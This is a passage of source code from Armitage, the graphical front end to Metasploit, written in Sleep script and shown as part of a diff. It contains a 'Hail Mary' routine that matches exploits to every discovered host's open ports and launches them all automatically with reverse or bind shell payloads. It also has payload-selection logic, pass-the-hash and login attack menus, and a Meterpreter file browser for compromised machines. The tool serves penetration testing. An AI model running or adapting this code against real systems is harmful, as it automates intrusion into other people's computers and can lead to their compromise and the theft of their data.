push(@overlay, 'resources/unknown.png');
}
if (size($sessions) > 0) {
push(@overlay, 'resources/hacked.png');
}
else {
push(@overlay, 'resources/computer.png');
}
return overlay_images(@overlay);
}
sub connectToMetasploit {
local('$thread $5');
$thread = [new Thread: lambda(&_connectToMetasploit, \$1, \$2, \$3, \$4, \$5)];
[$thread start];
}
sub _connectToMetasploit {
global('$database $client $mclient $console @exploits @auxiliary @payloads @post');
# reset rejected fingerprints
let(&verify_server, %rejected => %());
# update preferences
local('%props $property $value $flag $exception');
%props['connect.host.string'] = $1;
%props['connect.port.string'] = $2;
%props['connect.user.string'] = $3;
%props['connect.pass.string'] = $4;
if ($5 is $null) {
foreach $property => $value (%props) {
[$preferences setProperty: $property, $value];
}
}
savePreferences();
# setup progress monitor
local('$progress');
$progress = [new ProgressMonitor: $null, "Connecting to $1 $+ : $+ $2", "first try... wish me luck.", 0, 100];
# keep track of whether we're connected to a local or remote Metasploit instance. This will affect what we expose.
$REMOTE = iff($1 eq "127.0.0.1", $null, 1);
$flag = 10;
while ($flag) {
try {
if ([$progress isCanceled]) {
if ($msfrpc_handle !is $null) {
try {
wait(fork({ closef($msfrpc_handle); }, \$msfrpc_handle), 5 * 1024);
$msfrpc_handle = $null;
}
catch $exception {
[JOptionPane showMessageDialog: $null, "Unable to shutdown MSFRPC programatically\nRestart Armitage and try again"];
[System exit: 0];
}
}
connectDialog();
return;
}
# connecting locally? go to Metasploit directly...
if ($1 eq "127.0.0.1" || $1 eq "::1" || $1 eq "localhost") {
$client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug];
$mclient = $client;
initConsolePool();
initReporting();
}
# we have a team server... connect and authenticate to it.
else {
$client = c_client($1, $2);
setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L);
$mclient = setup_collaboration($3, $4, $1, $2);
}
$flag = $null;
}
catch $exception {
[$progress setNote: [$exception getMessage]];
[$progress setProgress: $flag];
$flag++;
sleep(2500);
}
}
let(&postSetup, \$progress);
[$progress setNote: "Connected: Getting base directory"];
[$progress setProgress: 30];
setupBaseDirectory();
if (!$REMOTE) {
[$progress setNote: "Connected: Connecting to database"];
[$progress setProgress: 40];
try {
# create a console to force the database to initialize
local('$c');
$c = createConsole($client);
call_async($client, "console.destroy", $c);
# connect to the database plz...
$database = connectToDatabase();
[$client setDatabase: $database];
# setup our reporting stuff (has to happen *after* base directory)
initReporting();
}
catch $exception {
[JOptionPane showMessageDialog: $null, "Could not connect to database.\nClick Help button for troubleshooting help.\n\n" . [$exception getMessage]];
if ($msfrpc_handle) { closef($msfrpc_handle); }
[System exit: 0];
}
}
[$progress setNote: "Connected: Getting local address"];
[$progress setProgress: 50];
cmd_safe("setg", lambda({
# store the current global vars to save several other calls later
global('%MSF_GLOBAL');
local('$value');
foreach $value (parseTextTable($3, @("Name", "Value"))) {
%MSF_GLOBAL[$value['Name']] = $value['Value'];
}
# ok, now let's continue on with what we're doing...
getBindAddress();
[$progress setNote: "Connected: ..."];
[$progress setProgress: 60];
if (!$REMOTE && %MSF_GLOBAL['ARMITAGE_TEAM'] eq '1') {
showErrorAndQuit("Do not connect to 127.0.0.1 when\nrunning a team server.");
}
dispatchEvent(&postSetup);
}, \$progress));
}
sub postSetup {
thread(lambda({
[$progress setNote: "Connected: Fetching exploits"];
[$progress setProgress: 70];
@exploits = sorta(call($mclient, "module.exploits")["modules"]);
[$progress setNote: "Connected: Fetching auxiliary modules"];
[$progress setProgress: 80];
@auxiliary = sorta(call($mclient, "module.auxiliary")["modules"]);
[$progress setNote: "Connected: Fetching payloads"];
[$progress setProgress: 90];
@payloads = sorta(call($mclient, "module.payloads")["modules"]);
[$progress setNote: "Connected: Fetching post modules"];
[$progress setProgress: 100];
@post = sorta(call($mclient, "module.post")["modules"]);
[$progress close];
main();
createDashboard();
}, \$progress));
}
sub main {
local('$console $panel $dir');
$frame = [new ArmitageApplication];
[$frame setTitle: $TITLE];
[$frame setSize: 800, 600];
init_menus($frame);
initLogSystem();
[$frame setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]];
[$frame show];
[$frame setExtendedState: [JFrame MAXIMIZED_BOTH]];
# this window listener is dead-lock waiting to happen. That's why we're adding it in a
# separate thread (Sleep threads don't share data/locks).
fork({
[$frame addWindowListener: {
if ($0 eq "windowClosing" && $msfrpc_handle !is $null) {
closef($msfrpc_handle);
}
}];
}, \$msfrpc_handle, \$frame);
dispatchEvent({
if ($client !is $mclient) {
createEventLogTab();
}
else {
createConsoleTab();
}
});
if (-exists "command.txt") {
deleteFile("command.txt");
}
}
sub checkDir {
# set the directory where everything exciting and fun will happen.
if (cwd() eq "/Applications" || !-canwrite cwd() || isWindows()) {
local('$dir');
$dir = getFileProper(systemProperties()["user.home"], "armitage-tmp");
if (!-exists $dir) {
mkdir($dir);
}
chdir($dir);
warn("Saving files to $dir");
}
}
setLookAndFeel();
checkDir();
if ($CLIENT_CONFIG !is $null && -exists $CLIENT_CONFIG) {
local('$config');
$config = [new Properties];
[$config load: [new java.io.FileInputStream: $CLIENT_CONFIG]];
connectToMetasploit([$config getProperty: "host", "127.0.0.1"],
[$config getProperty: "port", "55553"],
[$config getProperty: "user", "msf"],
[$config getProperty: "pass", "test"], 1);
}
else {
connectDialog();
}
+652
View File
@@ -0,0 +1,652 @@
#
# Code to create the various attack menus based on db_autopwn
#
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import msf.*;
import table.*;
import ui.*;
global('%results @always_reverse %exploits %results2');
%results = ohash();
%results2 = ohash();
setMissPolicy(%results, { return @(); });
setMissPolicy(%results2, { return @(); });
# %exploits is populated in menus.sl when the client-side attacks menu is constructed
# a list of exploits that should always use a reverse shell... this list needs to grow.
@always_reverse = @("multi/samba/usermap_script", "unix/misc/distcc_exec", "windows/http/xampp_webdav_upload_php");
#
# generate menus for a given OS
#
sub exploit_menus {
local('%toplevel @allowed $ex $os $port $exploit');
%toplevel = ohash();
@allowed = getOS($1);
foreach $ex ($2) {
($os, $port, $exploit) = split('/', $ex);
if ($os in @allowed) {
if ($port !in %toplevel) {
%toplevel[$port] = %();
}
%toplevel[$port][$exploit] = $ex;
}
}
local('%r $menu $exploits $name $exploit');
%r = ohash();
putAll(%r, sorta(keys(%toplevel)), { return 1; });
foreach $menu => $exploits (%r) {
$exploits = ohash();
foreach $name (sorta(keys(%toplevel[$menu]))) {
$exploits[$name] = %toplevel[$menu][$name];
}
}
return %r;
}
sub targetsCombobox {
local('$key $value @targets $combobox');
foreach $key => $value ($1["targets"]) {
if (strlen($value) > 53) {
push(@targets, "$key => " . substr($value, 0, 50) . "...");
}
else {
push(@targets, "$key => $value");
}
}
$combobox = [new JComboBox: sort({
local('$a $b');
$a = int(split(' \=\> ', $1)[0]);
$b = int(split(' \=\> ', $2)[0]);
return $a <=> $b;
}, @targets)];
return $combobox;
}
sub getOS {
local('@allowed $os');
$os = normalize($1);
if ($os eq "Windows") { @allowed = @("windows", "multi"); }
else if ($os eq "Solaris") { @allowed = @("solaris", "multi", "unix"); }
else if ($os eq "Linux") { @allowed = @("linux", "multi", "unix"); }
else if ($os eq "Mac OS X") { @allowed = @("osx", "multi", "unix"); }
else if ($os eq "FreeBSD") { @allowed = @("freebsd", "multi", "unix"); }
else { @allowed = @("multi", "unix"); }
return @allowed;
}
# findAttacks("p", "good|great|excellent", &callback) - port analysis
# findAttacks("x", "good|great|excellent", &callback) - vulnerability analysis
sub resolveAttacks {
thread(lambda(&_resolveAttacks, $args => @_));
}
sub _resolveAttacks {
# force a service data refresh before hail mary or find attacks.
_refreshServices(call($mclient, "db.services"));
%results = ohash();
%results2 = ohash();
setMissPolicy(%results, { return @(); });
setMissPolicy(%results2, { return @(); });
local('%r $r $p $module $s');
%r = ohash();
setMissPolicy(%r, { return @(); });
#
# find all exploits and their associated ports
#
$s = rankScore($args[1]);
foreach $module (@exploits) {
if (%exploits[$module]["rankScore"] >= $s) {
$r = call($client, "module.options", "exploit", $module);
yield 2;
if ("RPORT" in $r && "default" in $r["RPORT"]) {
$p = $r["RPORT"]["default"];
push(%r[$p], $module);
if ($p eq "445") {
push(%r["139"], $module);
}
else if ($p eq "139") {
push(%r["139"], $module);
}
else if ($p eq "80") {
push(%r["443"], $module);
}
else if ($p eq "443") {
push(%r["80"], $module);
}
}
}
}
#
# for each host, see if there is an exploit associated with its port and if so, report it...
#
local('$port $modules $host $data $services $exploit');
foreach $port => $modules (%r) {
foreach $host => $data (%hosts) {
$services = $data["services"];
if ($port in $services) {
foreach $exploit ($modules) {
push(%results[$host], $exploit);
push(%results2[$host], @($exploit, $port));
}
}
}
}
[$args[2]];
}
sub findAttacks {
resolveAttacks($1, $2, {
showError("Attack Analysis Complete...\n\nYou will now see an 'Attack' menu attached\nto each host in the Targets window.\n\nHappy hunting!");
});
}
sub smarter_autopwn {
local('$console');
elog("has given up and launched the hail mary!");
$console = createDisplayTab("Hail Mary", 1, $host => "all", $file => "hailmary");
[[$console getWindow] append: "\n\n1) Finding exploits (via local magic)\n\n"];
resolveAttacks($1, $2, lambda({
# now crawl through %results and start hacking each host in turn
local('$host $exploits @allowed $ex $os $port $exploit @attacks %dupes $e $p');
# filter the attacks...
foreach $host => $exploits (%results2) {
%dupes = %();
@allowed = getOS(getHostOS($host));
foreach $e ($exploits) {
($ex, $p) = $e;
($os, $port, $exploit) = split('/', $ex);
if ($os in @allowed && $ex !in %dupes) {
push(@attacks, @("$host", "$ex", best_payload($host, $ex, iff($ex in @always_reverse)), $p, %exploits[$ex]));
if ($p eq "139") {
push(@attacks, @("$host", "$ex", best_payload($host, $ex, iff($ex in @always_reverse)), 445, %exploits[$ex]));
}
%dupes[$ex] = 1;
}
}
[[$console getWindow] append: "\t[ $+ $host $+ ] Found " . size($exploits) . " exploits\n" ];
}
[[$console getWindow] append: "\n2) Sorting Exploits\n"];
# now sort them, so the best ones are on top...
sort({
local('$a $b');
if ($1[1] !in %exploits) {
return 1;
}
if ($2[1] !in %exploits) {
return -1;
}
$a = %exploits[$1[1]];
$b = %exploits[$2[1]];
if ($a['rankScore'] eq $b['rankScore']) {
return $b['date'] <=> $a['date'];
}
return $b['rankScore'] <=> $a['rankScore'];
}, @attacks);
[[$console getWindow] append: "\n3) Launching Exploits\n\n"];
# now execute them...
local('$progress');
$progress = [new ProgressMonitor: $null, "Launching Exploits...", "...", 0, size(@attacks)];
thread(lambda({
local('$host $ex $payload $x $rport %wait');
while (size(@attacks) > 0 && [$progress isCanceled] == 0) {
($host, $ex, $payload, $rport) = @attacks[0];
# let's throttle our exploit/host velocity a little bit.
if ((ticks() - %wait[$host]) > 1250) {
yield 250;
}
else {
yield 1500;
}
[$progress setNote: "$host $+ : $+ $rport ( $+ $ex $+ )"];
[$progress setProgress: $x + 0];
call_async($client, "module.execute", "exploit", $ex, %(PAYLOAD => $payload, RHOST => $host, LPORT => randomPort() . '', RPORT => "$rport", TARGET => '0', SSL => iff($rport == 443, '1')));
%wait[$host] = ticks();
$x++;
@attacks = sublist(@attacks, 1);
}
[$progress close];
[[$console getWindow] append: "\n\n4) Listing sessions\n\n"];
[$console addCommand: $null, "sessions -v"];
[$console start];
[$console stop];
}, \@attacks, \$progress, \$console));
}, \$console));
}
# choose a payload...
# best_client_payload(exploit, target)
sub best_client_payload {
local('$os');
$os = split('/', $1)[0];
if ($os eq "windows" || "*Windows*" iswm $2) {
return "windows/meterpreter/reverse_tcp";
}
else if ("*Generic*Java*" iswm $2) {
return "java/meterpreter/reverse_tcp";
}
else if ("*Mac*OS*PPC*" iswm $2 || ($os eq "osx" && "*PPC*" iswm $2)) {
return "osx/ppc/shell/reverse_tcp";
}
else if ("*Mac*OS*x86*" iswm $2 || "*Mac*OS*" iswm $2 || "*OS X*" iswm $2 || $os eq "osx") {
return "osx/x86/vforkshell/reverse_tcp";
}
else {
return "generic/shell_reverse_tcp";
}
}
sub isIPv6 {
local('$inet $exception');
try {
$inet = [java.net.InetAddress getByName: $1];
if ($inet isa ^java.net.Inet6Address) {
return 1;
}
}
catch $exception { }
return $null;
}
# choose a payload...
# best_payload(host, exploit, reverse preference)
sub best_payload {
local('$compatible $os $win');
$compatible = call($client, "module.compatible_payloads", $2)["payloads"];
$os = iff($1 in %hosts, %hosts[$1]['os_name']);
$win = iff($os eq "Windows" || "windows" isin $2);
if ($3) {
if ($win && "windows/meterpreter/reverse_tcp" in $compatible) {
return "windows/meterpreter/reverse_tcp";
}
else if ($win && "windows/shell/reverse_tcp" in $compatible) {
return "windows/shell/reverse_tcp";
}
else if ("java/meterpreter/reverse_tcp" in $compatible) {
return "java/meterpreter/reverse_tcp";
}
else if ("java/shell/reverse_tcp" in $compatible) {
return "java/shell/reverse_tcp";
}
else if ("java/jsp_shell_reverse_tcp" in $compatible) {
return "java/jsp_shell_reverse_tcp";
}
else if ("php/meterpreter_reverse_tcp" in $compatible) {
return "php/meterpreter_reverse_tcp";
}
else {
return "generic/shell_reverse_tcp";
}
}
if ($win && "windows/meterpreter/bind_tcp" in $compatible) {
if (isIPv6($1)) {
return "windows/meterpreter/bind_ipv6_tcp";
}
else {
return "windows/meterpreter/bind_tcp";
}
}
else if ($win && "windows/shell/bind_tcp" in $compatible) {
if (isIPv6($1)) {
return "windows/shell/bind_ipv6_tcp";
}
else {
return "windows/shell/bind_tcp";
}
}
else if ("java/meterpreter/bind_tcp" in $compatible) {
return "java/meterpreter/bind_tcp";
}
else if ("java/shell/bind_tcp" in $compatible) {
return "java/shell/bind_tcp";
}
else if ("java/jsp_shell_bind_tcp" in $compatible) {
return "java/jsp_shell_bind_tcp";
}
else {
return "generic/shell_bind_tcp";
}
}
sub addAdvanced {
local('$d');
$d = [new JCheckBox: " Show advanced options"];
[$d addActionListener: lambda({
[$model showHidden: [$d isSelected]];
[$model fireListeners];
}, \$model, \$d)];
return $d;
}
#
# pop up a dialog to start our attack with... fun fun fun
#
sub attack_dialog {
local('$dialog $north $center $south $center @targets $combobox $label $textarea $scroll $model $key $table $sorter $col $d $b $c $button $x $value');
$dialog = dialog("Attack " . join(', ', $3), 590, 360);
$north = [new JPanel];
[$north setLayout: [new BorderLayout]];
$label = [new JLabel: $1["name"]];
[$label setBorder: [BorderFactory createEmptyBorder: 5, 5, 5, 5]];
[$north add: $label, [BorderLayout NORTH]];
$textarea = [new JTextArea: [join(" ", split('[\\n\\s]+', $1["description"])) trim]];
[$textarea setEditable: 0];
[$textarea setOpaque: 1];
[$textarea setLineWrap: 1];
[$textarea setWrapStyleWord: 1];
[$textarea setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
$scroll = [new JScrollPane: $textarea];
[$scroll setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
[$north add: $scroll, [BorderLayout CENTER]];
$model = [new GenericTableModel: @("Option", "Value"), "Option", 128];
[$model setCellEditable: 1];
foreach $key => $value ($2) {
if ($key eq "RHOST") {
$value["default"] = join(", ", $3);
}
[$model _addEntry: %(Option => $key,
Value => $value["default"],
Tooltip => $value["desc"],
Hide =>
iff($value["advanced"] eq '0' && $value["evasion"] eq '0', '0', '1')
)
];
}
[$model _addEntry: %(Option => "LHOST", Value => $MY_ADDRESS, Tooltip => "Address (for connect backs)", Hide => '0')];
[$model _addEntry: %(Option => "LPORT", Value => randomPort(), Tooltip => "Bind meterpreter to this port", Hide => '0')];
$table = [new ATable: $model];
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 0];
[$table setRowSorter: $sorter];
addFileListener($table, $model);
local('$TABLE_RENDERER');
$TABLE_RENDERER = tableRenderer($table, $model);
foreach $col (@("Option", "Value")) {
[[$table getColumn: $col] setCellRenderer: $TABLE_RENDERER];
}
$center = [new JScrollPane: $table];
$south = [new JPanel];
[$south setLayout: [new BoxLayout: $south, [BoxLayout Y_AXIS]]];
#[$south setLayout: [new GridLayout: 4, 1]];
$d = addAdvanced(\$model);
$combobox = targetsCombobox($1);
$b = [new JCheckBox: " Use a reverse connection"];
if ($4 in @always_reverse) {
[$b setSelected: 1];
}
$c = [new JPanel];
[$c setLayout: [new FlowLayout: [FlowLayout CENTER]]];
$button = [new JButton: "Launch"];
[$button addActionListener: lambda({
local('$options $host $x');
syncTable($table);
$options = %();
for ($x = 0; $x < [$model getRowCount]; $x++) {
$options[ [$model getValueAt: $x, 0] ] = [$model getValueAt: $x, 1];
}
$options["TARGET"] = split(' \=\> ', [$combobox getSelectedItem])[0];
thread(lambda({
local('$host $hosts');
$hosts = split(', ', $options["RHOST"]);
foreach $host ($hosts) {
$options["PAYLOAD"] = best_payload($host, $exploit, [$b isSelected]);
$options["RHOST"] = $host;
if ([$b isSelected]) {
$options["LPORT"] = randomPort();
}
if (size($hosts) >= 4) {
call_async($client, "module.execute", "exploit", $exploit, $options);
}
else {
module_execute("exploit", $exploit, copy($options));
}
yield 100;
}
if ([$preferences getProperty: "armitage.show_all_commands.boolean", "true"] eq "false" || size($hosts) >= 4) {
showError("Launched $exploit at " . size($hosts) . " host" . iff(size($hosts) == 1, "", "s"));
}
}, $options => copy($options), \$exploit, \$b));
if (!isShift($1)) {
[$dialog setVisible: 0];
}
elog("exploit $exploit @ " . $options["RHOST"]);
}, $exploit => $4, \$model, \$combobox, \$dialog, \$b, \$table)];
[$c add: $button];
[$south add: left([new JLabel: "Targets: "], $combobox)];
[$south add: left($b)];
[$south add: left($d)];
[$south add: $c];
#[$dialog add: $north, [BorderLayout NORTH]];
local('$s');
$s = [new JSplitPane: [JSplitPane VERTICAL_SPLIT], $north, $center];
[$center setPreferredSize: [new Dimension: 0, 0]];
[$north setPreferredSize: [new Dimension: 480, 76]];
[$s resetToPreferredSizes];
[$s setOneTouchExpandable: 1];
[$dialog add: $s, [BorderLayout CENTER]];
[$dialog add: $south, [BorderLayout SOUTH]];
[$button requestFocus];
[$dialog setVisible: 1];
}
sub min_rank {
return [$preferences getProperty: "armitage.required_exploit_rank.string", "great"];
}
sub host_attack_items {
local('%m');
# we're going to take the OS of the first host...
%m = exploit_menus(%hosts[$2[0]]['os_name'], %results[$2[0]]);
if (size(%m) > 0) {
local('$a $service $exploits $e $name $exploit');
$a = menu($1, "Attack", 'A');
foreach $service => $exploits (%m) {
$e = menu($a, $service, $null);
foreach $name => $exploit ($exploits) {
item($e, $name, $null, lambda({
thread(lambda({
local('$a $b');
$a = call($mclient, "module.info", "exploit", $exploit);
$b = call($mclient, "module.options", "exploit", $exploit);
attack_dialog($a, $b, $hosts, $exploit);
}, \$exploit, \$hosts));
}, \$exploit, $hosts => $2));
}
if ($service eq "smb") {
item($e, "pass the hash...", 'p', lambda(&pass_the_hash, $hosts => $2));
}
if (size($exploits) > 0) {
separator($e);
item($e, "check exploits...", 'c', lambda({
local('$result $h $console');
$console = createDisplayTab("Check Exploits", 1);
$h = $hosts[0];
foreach $result (values($exploits)) {
[$console addCommand: $null, "ECHO \n\n===== Checking $result =====\n\n"];
[$console addCommand: $null, "use $result"];
[$console addCommand: $null, "set RHOST $h"];
[$console addCommand: $null, "check"];
}
[$console start];
[$console stop];
}, $hosts => $2, \$exploits));
}
}
}
local('$service $name @options $a $port $foo');
foreach $port => $service (%hosts[$2[0]]['services']) {
$name = $service['name'];
if ($name eq "smb" && "*Windows*" iswm getHostOS($2[0])) {
push(@options, @("psexec", lambda(&pass_the_hash, $hosts => $2)));
}
else if ("scanner/ $+ $name $+ / $+ $name $+ _login" in @auxiliary) {
push(@options, @($name, lambda(&show_login_dialog, \$service, $hosts => $2)));
}
else if ($name eq "microsoft-ds") {
push(@options, @("psexec", lambda(&pass_the_hash, $hosts => $2)));
}
}
if (size(@options) > 0) {
$a = menu($1, 'Login', 'L');
foreach $service (@options) {
($name, $foo) = $service;
item($a, $name, $null, $foo);
}
}
}
sub addFileListener {
local('$table $model $actions');
($table, $model, $actions) = @_;
if ($actions is $null) {
$actions = %();
}
# set up an action to pop up a file chooser for different file type values.
$actions["*FILE*"] = {
local('$title $temp');
$title = "Select $1";
$temp = iff($2 eq "",
chooseFile(\$title, $dir => $DATA_DIRECTORY),
chooseFile(\$title, $sel => $2)
);
if ($temp !is $null) {
[$4: strrep($temp, "\\", "\\\\")];
}
};
$actions["NAMELIST"] = $actions["*FILE*"];
$actions["DICTIONARY"] = $actions["*FILE*"];
$actions["Template"] = $actions["*FILE*"];
$actions["SigningCert"] = $actions["*FILE*"];
$actions["SigningKey"] = $actions["*FILE*"];
$actions["WORDLIST"] = $actions["*FILE*"];
# set up an action to pop up a file chooser for different file type values.
$actions["RHOST"] = {
local('$title $temp');
$title = "Select $1";
$temp = chooseFile(\$title, $dir => ".", $always => "1");
if ($temp !is $null) {
local('$handle');
$handle = openf($temp);
@addresses = readAll($handle);
closef($handle);
[$4: join(", ", @addresses)];
}
};
$actions["RHOSTS"] = $actions["RHOST"];
addMouseListener($table, lambda({
if ($0 eq 'mouseClicked' && [$1 getClickCount] >= 2) {
local('$type $row $action $change $value');
$value = [$model getSelectedValueFromColumn: $table, "Value"];
$type = [$model getSelectedValueFromColumn: $table, "Option"];
$row = [$model getSelectedRow: $table];
foreach $action => $change ($actions) {
if ($action iswm $type) {
[$change: $type, $value, $row, lambda({;
[$model setValueAtRow: $row, "Value", "$1"];
[$model fireListeners];
}, \$model, \$row)];
}
}
}
}, \$model, \$table, \$actions));
}
sub rankScore {
return %(normal => 1, good => 2, great => 3, excellent => 4)[$1];
}
+423
View File
@@ -0,0 +1,423 @@
#
# File Browser (for Meterpreter)
#
import table.*;
import tree.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import javax.swing.filechooser.*;
import javax.swing.text.*;
import java.io.*;
import ui.*;
global('%files %paths %attribs');
%files = ohash();
%paths = ohash();
%attribs = ohasha();
setMissPolicy(%paths, { return [new PlainDocument]; });
setMissPolicy(%files, { return [new GenericTableModel: @("D", "Name", "Size", "Modified", "Mode"), "Name", 128]; });
sub parseListing {
local('$model');
$model = %files[$1];
if ($0 eq "begin") {
[$model clear: 128];
}
else if ($0 eq "end") {
[$model fireListeners];
}
else if ($0 eq "update") {
if ("*Operation failed*" iswm $2) {
showError("$2 $+ \n\nMaybe you don't have permission to access \nthis folder? Press the Refresh button.");
}
else if ($2 ismatch 'Listing: (.*?)' || $2 ismatch 'No entries exist in (.*?)') {
local('$path');
($path) = matched();
[%paths[$1] remove: 0, [%paths[$1] getLength]];
[%paths[$1] insertString: 0, $path, $null];
}
else {
local('$mode $size $type $last $name');
($mode, $size, $type, $last, $name) = split('\s{2,}', $2);
if ($size ismatch '\d+' && $name ne "." && $name ne "..") {
[$model addEntry: %(Name => $name, D => $type, Size => iff($type eq "dir", "", $size), Modified => $last, Mode => $mode)];
}
}
}
}
%handlers["ls"] = &parseListing;
# setupSizeRenderer($table, "columnname")
sub setupSizeRenderer {
[[$1 getColumn: $2] setCellRenderer: [ATable getSizeTableRenderer]];
}
sub listDrives {
local('$queue');
$queue = [new armitage.ConsoleQueue: $client];
[$model clear: 128];
[$queue addCommand: $null, "use post/windows/gather/forensics/enum_drives"];
[$queue addCommand: $null, "set SESSION $1"];
[$queue addCommand: "x", "run"];
[$queue addListener: lambda({
local('@entries $entry $d $s $f');
@entries = parseTextTable($3, @('Device Name.', 'Type.', 'Size .bytes..'));
foreach $entry (@entries) {
$d = $entry['Device Name.'];
if ($d ismatch '....([A-Z]\\:)') {
[$model addEntry: %(Name => matched()[0], D => "dir", Size => "", Modified => "", Mode => "")];
$f = 1;
}
}
[$refresh setEnabled: 1];
[$model fireListeners];
[$queue stop];
}, \$queue, \$model, \$refresh)];
[$refresh setEnabled: 0];
[$queue start];
}
sub createFileBrowser {
local('$table $tree $model $panel $split $scroll1 $sorter $up $text $fsv $chooser $upload $mkdir $refresh $top $setcwd $drives');
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
$model = %files[$1];
$table = [new ATable: $model];
[$table setShowGrid: 0];
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 0];
[$table setRowSorter: $sorter];
# file size column
[$sorter setComparator: 2, {
return long($1) <=> long($2);
}];
# last modified column
[$sorter setComparator: 3, {
return convertDate($1) <=> convertDate($2);
}];
[[$table getColumn: "D"] setMaxWidth: 38];
[[$table getColumn: "D"] setCellRenderer: [ATable getFileTypeTableRenderer]];
# make sure subsequent columns do not have an icon associated with them...
[[$table getColumn: "Name"] setCellRenderer: [ATable getSimpleTableRenderer]];
setupSizeRenderer($table, "Size");
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
$text = [new ATextField: %paths[$1], "", 80];
[$text addActionListener: lambda({
local('$dir');
$dir = [[$1 getSource] getText];
[$model clear: 128];
[$model fireListeners];
m_cmd($sid, "cd ' $+ $dir $+ '");
m_cmd($sid, "ls");
[[$1 getSource] setText: ""];
}, $sid => $1, \$model)];
# this function should be called before every browser action to keep things in sync.
$setcwd = lambda({
m_cmd($sid, "cd '" . [$text getText] . "'");
}, \$text, $sid => $1, $platform => $2);
addMouseListener($table, lambda({
if ($0 eq 'mouseClicked' && [$1 getClickCount] >= 2) {
local('$model $sel');
$model = %files[$sid];
$sel = [$model getSelectedValue: $table];
[$model clear: 128];
[$model fireListeners];
if ("*Windows*" iswm sessionToOS($sid) && "'" !isin $sel && "'" !isin [$text getText]) {
if ([$text getText] eq "List Drives") {
m_cmd($sid, "cd ' $+ $sel $+ '");
}
else {
m_cmd($sid, "cd '" . [$text getText] . "\\ $+ $sel $+ '");
}
}
else {
[$setcwd];
m_cmd($sid, "cd \" $+ $sel $+ \"");
}
m_cmd($sid, "ls");
[$1 consume];
}
else if ([$1 isPopupTrigger]) {
local('$popup $model');
$popup = [new JPopupMenu];
$model = %files[$sid];
buildFileBrowserMenu($popup, [$model getSelectedValues: $table], convertAll([$model getRows]), \$sid, \$setcwd, \$text);
[$popup show: [$1 getSource], [$1 getX], [$1 getY]];
[$1 consume];
}
}, $sid => $1, \$table, \$setcwd, \$text));
$fsv = [FileSystemView getFileSystemView];
$chooser = [$fsv getSystemIcon: [$fsv getDefaultDirectory]];
$up = [new JButton: $chooser];
#[$up setPressedIcon:
# [new ImageIcon: iconToImage($chooser, 2, 2)]
#];
#[$up setBorder: [BorderFactory createEmptyBorder: 2, 2, 2, 8]];
#[$up setOpaque: 0];
#[$up setContentAreaFilled: 0];
[$up setToolTipText: "Go up one directory"];
[$up addActionListener: lambda({
this('$last');
if ((ticks() - $last) < 500) {
warn("Dropping cd .. -- too fast");
$last = ticks();
return;
}
$last = ticks();
[$model clear: 128];
[$model fireListeners];
if ("*Windows*" iswm sessionToOS($sid) && "'" !isin [$text getText]) {
m_cmd($sid, "cd '" . [$text getText] . "\\..'");
}
else {
[$setcwd];
m_cmd($sid, "cd ..");
}
m_cmd($sid, "ls");
}, $sid => $1, \$setcwd, \$text, \$model, \$refresh)];
# setup the whatever it's called...
$upload = [new JButton: "Upload..."];
[$upload addActionListener: lambda({
local('$file $name');
$file = chooseFile($always => iff($client !is $mclient));
$name = getFileName($file);
if ($file !is $null) {
[$setcwd];
if ($client !is $mclient) {
# some crazy gymnastics here due to how Sleep handles thread-safety...
local('$closure $thread');
$closure = lambda({
m_cmd($sid, "upload \" $+ $file $+ \" \" $+ $name $+ \"");
}, \$sid, \$name, \$file);
$thread = [new armitage.ArmitageThread: $closure];
fork({
$file = uploadBigFile($file);
$closure['$file'] = $file;
[$thread start];
}, \$file, \$thread, \$closure, \$mclient);
}
else {
m_cmd($sid, "upload \" $+ $file $+ \" \" $+ $name $+ \"");
}
}
# refresh?!?
}, $sid => $1, \$setcwd)];
$mkdir = [new JButton: "Make Directory"];
[$mkdir addActionListener: lambda({
local('$name');
$name = ask("Directory name:");
if ($name !is $null) {
[$setcwd];
m_cmd($sid, "mkdir \" $+ $name $+ \"");
m_cmd($sid, "ls");
}
# refresh?
}, $sid => $1, \$setcwd)];
$refresh = [new JButton: "Refresh"];
[$refresh addActionListener: lambda({
if ([$text getText] eq "List Drives") {
listDrives($sid, \$model, \$refresh);
}
else {
[$setcwd];
m_cmd($sid, "ls");
}
}, $sid => $1, \$setcwd, \$text, \$model, \$refresh)];
$drives = [new JButton: "List Drives"];
[$drives addActionListener: lambda({
listDrives($sid, \$model, \$refresh);
[$text setText: "List Drives"];
}, \$refresh, \$model, \$text, $sid => $1)];
# do the overall layout...
$top = [new JPanel];
[$top setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
[$top setLayout: [new BorderLayout]];
[$top add: $text, [BorderLayout CENTER]];
[$top add: pad($up, 0, 0, 0, 4), [BorderLayout WEST]];
[$panel add: $top, [BorderLayout NORTH]];
if ("*win*" iswm lc(sessionPlatform($1))) {
[$panel add: center($upload, $mkdir, $drives, $refresh), [BorderLayout SOUTH]];
}
else {
[$panel add: center($upload, $mkdir, $refresh), [BorderLayout SOUTH]];
}
[$frame addTab: "Files $1", $panel, $null, "Files " . sessionToHost($1)];
m_cmd($1, "ls");
}
sub convertDate {
if ($1 ismatch '\d\d\d\d-\d\d-\d\d \d\d:\d\d:\d\d .*') {
return parseDate('yyyy-MM-dd HH:mm:ss Z', $1);
}
else {
return parseDate("EEE MMM dd HH:mm:ss Z yyyy", $1);
}
}
# automagically store timestomp attributes...
%handlers["timestomp"] = {
if ($0 eq "update" && $2 ismatch '([MACE].*?)\s*: (.*)') {
local('$type $value $d');
($type, $value) = matched();
%attribs[["$type" trim]] = formatDate(convertDate($value), 'MM/dd/yyyy HH:mm:ss');
}
};
sub buildFileBrowserMenu {
# ($popup, [$model getSelectedValue: $table], @rows);
# turn @rows into %(file => type)
local('%types');
map(lambda({ %types[$1["Name"]] = $1["D"]; }, \%types), $3);
# need to pass current working directory, selected file, and type
